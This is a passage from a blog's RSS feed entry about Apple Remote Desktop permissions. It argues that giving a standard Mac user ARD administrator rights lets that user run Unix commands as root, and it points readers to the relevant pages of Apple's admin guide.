<p>Page 66 of the ARD manual does go into detail what needs to be turned on to run a Unix command, but why not just have a check box: Run Unix Command? Also, Generate Reports isn&#8217;t listed as one of them, but unless it was checked I got <a href='http://www.brunerd.com/blog/wp-content/uploads/2008/03/notauth.png' title='Not Authorized'>this</a>?</p>
<p>Now I&#8217;m not saying this is an out and out security breach, no, because it requires admin privileges to turn on the service and add the user, but it does show how simply checking a check box as an admin could open your up your Mac to Bad Things™ if a standard user on your family computer has a weak password and someone else has ARD in a dark alley&#8230; well, you know what I mean. This just doesn&#8217;t seem right. Standard users should only be able to do standard user things, even in the magical world of ARD.</p>
<p>See the <a href="http://images.apple.com/server/docs/ARD3.2_AdminGuide.pdf">ARD manual</a> pages 65-68 for Apple&#8217;s wording on the Remote Management Preference pane permissions. See if it seems clear that Standard users given &#8216;administrator&#8217; (ARD administrator in this case) privileges can run as root. Leave a comment and let me know what you think, thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/03/08/ard-security-awareness-standard-user-can-run-root-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
